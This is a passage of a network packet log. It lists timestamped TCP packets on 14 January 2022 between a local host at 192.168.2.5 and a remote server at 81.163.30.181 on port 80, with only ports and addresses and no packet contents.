Jan 14, 2022 21:06:07.616507053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616545916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616548061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616585970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616626024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616631985 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616667986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616708994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616709948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616750956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616789103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616791964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616828918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616866112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616877079 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616908073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616945028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.616945982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.616985083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617018938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617022991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617060900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617094994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617098093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617136955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617172956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617172956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617212057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617248058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617250919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617290020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617326021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617328882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617367029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617402077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617404938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617445946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617480993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617491961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617515087 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617522001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617559910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617599010 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617599010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617655039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617693901 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617705107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617758036 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617795944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617809057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617908001 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.617945910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.617964029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618019104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618055105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618067980 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618120909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618156910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618172884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618230104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618267059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618283033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618345022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618393898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618393898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618451118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618488073 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618505955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618554115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618592978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618594885 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618629932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618669033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618669033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618710041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618746996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618746996 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618787050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618824959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618845940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618864059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618902922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618940115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.618942976 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.618990898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619034052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.619048119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619086981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.619092941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619133949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619172096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619196892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.619210005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619250059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.619288921 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.620299101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.675733089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675767899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675792933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675801992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.675822973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675847054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.675857067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675884962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675889015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.675909996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675935984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675944090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.675961971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.675987959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676012993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676021099 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676035881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676055908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676067114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676095963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676120996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676129103 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676147938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676156044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676175117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676201105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676203966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676228046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676253080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676261902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676276922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676301956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676310062 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676326990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676352024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676377058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676383972 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676402092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676410913 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676428080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676454067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676477909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676486015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676502943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676522970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676528931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676554918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676579952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676589012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676606894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676615000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676632881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676657915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676666021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676683903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676708937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676717043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676733017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676758051 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676781893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676791906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676808119 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676820040 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676832914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676857948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676882029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676888943 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676907063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676918983 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.676930904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676955938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676980972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.676989079 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677006006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677014112 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677033901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677059889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677083969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677092075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677109003 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677119970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677135944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677160978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677186012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677195072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677211046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677218914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677236080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677263021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677287102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677294970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677313089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677321911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677336931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677361965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677385092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677392960 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677409887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677429914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677436113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677462101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677484989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677493095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677510977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677520037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677532911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677555084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677575111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677592039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677593946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677613974 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677618027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677644968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677654028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677671909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677699089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677719116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677730083 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677738905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677758932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677758932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677782059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677788973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677803040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677824974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677843094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677866936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677894115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677916050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677936077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677937031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677958965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677959919 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.677982092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.677989960 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678004026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678025007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678044081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678045034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678067923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678091049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678100109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678109884 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678114891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678139925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678158045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678163052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678174973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678185940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678210020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678219080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678235054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678260088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678267956 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678282976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678304911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678328037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678337097 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678352118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678375006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678394079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678411961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678422928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678437948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678461075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678483963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678504944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678508043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678534031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678555012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678555965 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678581953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678584099 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678606033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678630114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678637981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678656101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678679943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678688049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678704977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678729057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678751945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678760052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678776026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678786039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.678801060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678823948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.678854942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.687680006 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.691454887 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735347033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735371113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735388041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735394001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735405922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735414982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735421896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735440016 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735455990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735471964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735474110 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735488892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735502958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735505104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735519886 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735523939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735543013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735558987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735560894 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735575914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735590935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735591888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735609055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735624075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735625029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735641003 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735656023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735656023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735673904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735688925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735703945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735703945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735719919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735734940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735734940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735753059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.735754013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.735780954 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.736814976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736835957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736850977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736869097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736879110 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.736886024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736895084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.736902952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736921072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736936092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736951113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736951113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.736968040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736984015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.736984968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.736999989 CET	49908	80	192.168.2.5	81.163.30.181
